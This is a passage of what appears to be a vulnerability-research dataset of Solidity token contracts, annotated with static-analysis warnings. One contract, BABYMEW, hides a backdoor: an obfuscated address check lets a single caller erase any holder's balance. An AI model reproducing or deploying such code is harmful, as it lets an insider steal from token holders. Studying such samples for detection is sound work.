uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 94b69ff\n\t\t// reentrancy-benign | ID: a73c702\n _approve(uniswapV2Pair, address(_router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 1d43706\n\t\t// unused-return | ID: bc7a632\n\t\t// reentrancy-eth | ID: 940a523\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 1d43706\n\t\t// unused-return | ID: f71dbe0\n\t\t// reentrancy-eth | ID: 940a523\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 1d43706\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 940a523\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function rescueETH() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n}\n",
"file_name": "solidity_code_10858.sol",
"size_bytes": 20289,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 22199892647076892804378197057245493225938762 *\n 10 ** 4 +\n 281474976717503;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"BABYMEW\", unicode\"BABYMEW\", 9, 1000000000) {}\n}\n",
"file_name": "solidity_code_10859.sol",
"size_bytes": 7298,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ninterface IERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 92b542b): Limecoin.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 92b542b: Rename the local variables that shadow another component.\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, _allowances[owner][spender] + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = _allowances[owner][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 2c245ff\n _balances[from] = fromBalance - amount;\n }\n\n\t\t// reentrancy-eth | ID: 2c245ff\n _balances[to] += amount;\n\n\t\t// reentrancy-events | ID: 86d23b5\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Limecoin is ERC20, Ownable {\n IUniswapV2Router02 private constant _router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n address public uniswapPair;\n\n address public immutable feeReceiver;\n\n uint256 private maxWalletSize = 20000000 * 1e9;\n\n uint256 private contractSwapMax = 20000000 * 1e9;\n\n uint256 private contractSwapMin = 3000000 * 1e9;\n\n uint32 private _buyCount;\n\n uint32 private _sellCount;\n\n uint32 private _lastSellBlock;\n\n\t// WARNING Optimization Issue (constable-states | ID: bd5a885): Limecoin._preventSwapBefore should be constant \n\t// Recommendation for bd5a885: Add the 'constant' attribute to state variables that never change.\n uint32 private _preventSwapBefore = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: c02d385): Limecoin._lowerFeesAt should be constant \n\t// Recommendation for c02d385: Add the 'constant' attribute to state variables that never change.\n uint32 private _lowerFeesAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: d7a371d): Limecoin._finalBuyFee should be constant \n\t// Recommendation for d7a371d: Add the 'constant' attribute to state variables that never change.\n uint32 private _finalBuyFee = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 350be60): Limecoin._finalSellFee should be constant \n\t// Recommendation for 350be60: Add the 'constant' attribute to state variables that never change.\n uint32 private _finalSellFee = 0;\n\n bool private _inSwap;\n\n uint256 public buyFeeProcent;\n\n uint256 public sellFeeProcent;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 681da74): Limecoin.liquiditySupply should be immutable \n\t// Recommendation for 681da74: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private liquiditySupply;\n\n mapping(address => bool) private excludedFromTxLimits;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 92b542b): Limecoin.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 92b542b: Rename the local variables that shadow another component.\n constructor() payable ERC20(\"Limecoin\", \"LIMECOIN\") {\n uint256 totalSupply = 1000000000 * 1e9;\n\n liquiditySupply = 875000000 * 1e9;\n\n feeReceiver = msg.sender;\n\n buyFeeProcent = 20;\n\n sellFeeProcent = 30;\n\n excludedFromTxLimits[feeReceiver] = true;\n\n excludedFromTxLimits[msg.sender] = true;\n\n excludedFromTxLimits[address(this)] = true;\n\n excludedFromTxLimits[address(0xdead)] = true;\n\n _approve(address(this), address(_router), totalSupply);\n\n _approve(msg.sender, address(_router), totalSupply);\n\n _mint(msg.sender, totalSupply);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 86d23b5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 86d23b5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 3aee0d7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 3aee0d7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2c245ff): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2c245ff: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(\n from != address(0),\n \"Transfer from the zero address not allowed.\"\n );\n\n require(to != address(0), \"Transfer to the zero address not allowed.\");\n\n require(amount > 0, \"Transfer amount must be greater than zero.\");\n\n bool excluded = excludedFromTxLimits[from] || excludedFromTxLimits[to];\n\n require(\n uniswapPair != address(0) || excluded,\n \"Liquidity pair not yet created.\"\n );\n\n bool isSell = to == uniswapPair;\n\n bool isBuy = from == uniswapPair;\n\n if (isBuy && !excluded) {\n require(\n balanceOf(to) + amount <= maxWalletSize ||\n to == address(_router),\n \"Max wallet exceeded\"\n );\n\n if (_buyCount <= _lowerFeesAt) _buyCount++;\n\n if (_buyCount == _lowerFeesAt) {\n buyFeeProcent = _finalBuyFee;\n\n sellFeeProcent = _finalSellFee;\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n isSell &&\n !_inSwap &&\n contractTokenBalance >= contractSwapMin &&\n !excluded &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > _lastSellBlock) _sellCount = 0;\n\n require(_sellCount < 3, \"Only 3 sells per block!\");\n\n _inSwap = true;\n\n\t\t\t// reentrancy-events | ID: 86d23b5\n\t\t\t// reentrancy-no-eth | ID: 3aee0d7\n\t\t\t// reentrancy-eth | ID: 2c245ff\n swapTokensForEth(\n min(amount, min(contractTokenBalance, contractSwapMax))\n );\n\n\t\t\t// reentrancy-no-eth | ID: 3aee0d7\n _inSwap = false;\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t// reentrancy-events | ID: 86d23b5\n\t\t\t// reentrancy-eth | ID: 2c245ff\n if (contractETHBalance > 0) sendETHToFee(contractETHBalance);\n\n\t\t\t// reentrancy-eth | ID: 2c245ff\n _sellCount++;\n\n\t\t\t// reentrancy-eth | ID: 2c245ff\n _lastSellBlock = uint32(block.number);\n }\n\n uint256 fee = isBuy ? buyFeeProcent : sellFeeProcent;\n\n if (fee > 0 && !excluded && !_inSwap && (isBuy || isSell)) {\n uint256 fees = (amount * fee) / 100;\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 86d23b5\n\t\t\t\t// reentrancy-eth | ID: 2c245ff\n super._transfer(from, address(this), fees);\n\n amount -= fees;\n }\n }\n\n\t\t// reentrancy-events | ID: 86d23b5\n\t\t// reentrancy-eth | ID: 2c245ff\n super._transfer(from, to, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _router.WETH();\n\n _approve(address(this), address(_router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 86d23b5\n\t\t// reentrancy-no-eth | ID: 3aee0d7\n\t\t// reentrancy-eth | ID: 2c245ff\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 2f1bcf9): Limecoin.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls address(feeReceiver).transfer(amount)\n\t// Recommendation for 2f1bcf9: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 86d23b5\n\t\t// reentrancy-eth | ID: 2c245ff\n\t\t// arbitrary-send-eth | ID: 2f1bcf9\n payable(feeReceiver).transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ffb1d16): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ffb1d16: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 63bde25): Limecoin.SetTradingStatus() ignores return value by _router.addLiquidityETH{value address(this).balance}(address(this),liquiditySupply,0,0,msg.sender,block.timestamp)\n\t// Recommendation for 63bde25: Ensure that all the return values of the function calls are used.\n function SetTradingStatus() external payable onlyOwner {\n super._transfer(msg.sender, address(this), totalSupply());\n\n\t\t// reentrancy-benign | ID: ffb1d16\n\t\t// unused-return | ID: 63bde25\n _router.addLiquidityETH{value: address(this).balance}(\n address(this),\n liquiditySupply,\n 0,\n 0,\n msg.sender,\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: ffb1d16\n uniswapPair = IUniswapV2Factory(_router.factory()).getPair(\n address(this),\n _router.WETH()\n );\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 8619224): Limecoin.setSwapFees(uint256,uint256) should emit an event for buyFeeProcent = newBuyFee sellFeeProcent = newSellFee \n\t// Recommendation for 8619224: Emit an event for critical parameter changes.\n function setSwapFees(\n uint256 newBuyFee,\n uint256 newSellFee\n ) external onlyOwner {\n require(newBuyFee <= 26 && newSellFee <= 26, \"New fee must be lower.\");\n\n\t\t// events-maths | ID: 8619224\n buyFeeProcent = newBuyFee;\n\n\t\t// events-maths | ID: 8619224\n sellFeeProcent = newSellFee;\n }\n\n function removeThoseLimits() external onlyOwner {\n maxWalletSize = totalSupply();\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 0320c77): Limecoin.updateStructure(uint256,uint256) should emit an event for contractSwapMax = maxAmount contractSwapMin = minAmount \n\t// Recommendation for 0320c77: Emit an event for critical parameter changes.\n function updateStructure(\n uint256 maxAmount,\n uint256 minAmount\n ) external onlyOwner {\n\t\t// events-maths | ID: 0320c77\n contractSwapMax = maxAmount;\n\n\t\t// events-maths | ID: 0320c77\n contractSwapMin = minAmount;\n }\n\n function sweepingStuckETH() external onlyOwner {\n payable(feeReceiver).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 821efd4): Limecoin.transferStuckToken(IERC20) ignores return value by token.transfer(feeReceiver,token.balanceOf(address(this)))\n\t// Recommendation for 821efd4: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function transferStuckToken(IERC20 token) external onlyOwner {\n\t\t// unchecked-transfer | ID: 821efd4\n token.transfer(feeReceiver, token.balanceOf(address(this)));\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_1086.sol",
"size_bytes": 19987,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract HPETM6900INU is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0363e25): HPETM6900INU._taxWallet should be immutable \n\t// Recommendation for 0363e25: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: e8dfb87): HPETM6900INU._initialBuyTax should be constant \n\t// Recommendation for e8dfb87: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5d7ff9d): HPETM6900INU._initialSellTax should be constant \n\t// Recommendation for 5d7ff9d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 39ceb19): HPETM6900INU._reduceBuyTaxAt should be constant \n\t// Recommendation for 39ceb19: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2d0634a): HPETM6900INU._reduceSellTaxAt should be constant \n\t// Recommendation for 2d0634a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8335edd): HPETM6900INU._preventSwapBefore should be constant \n\t// Recommendation for 8335edd: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"HARRYPOTTERELONTRUMPMOODENG6900INU\";\n\n string private constant _symbol = unicode\"HPETM6900INU\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a2c2dc6): HPETM6900INU._taxSwapThreshold should be constant \n\t// Recommendation for a2c2dc6: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: cbfa345): HPETM6900INU._maxTaxSwap should be constant \n\t// Recommendation for cbfa345: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 785370f): 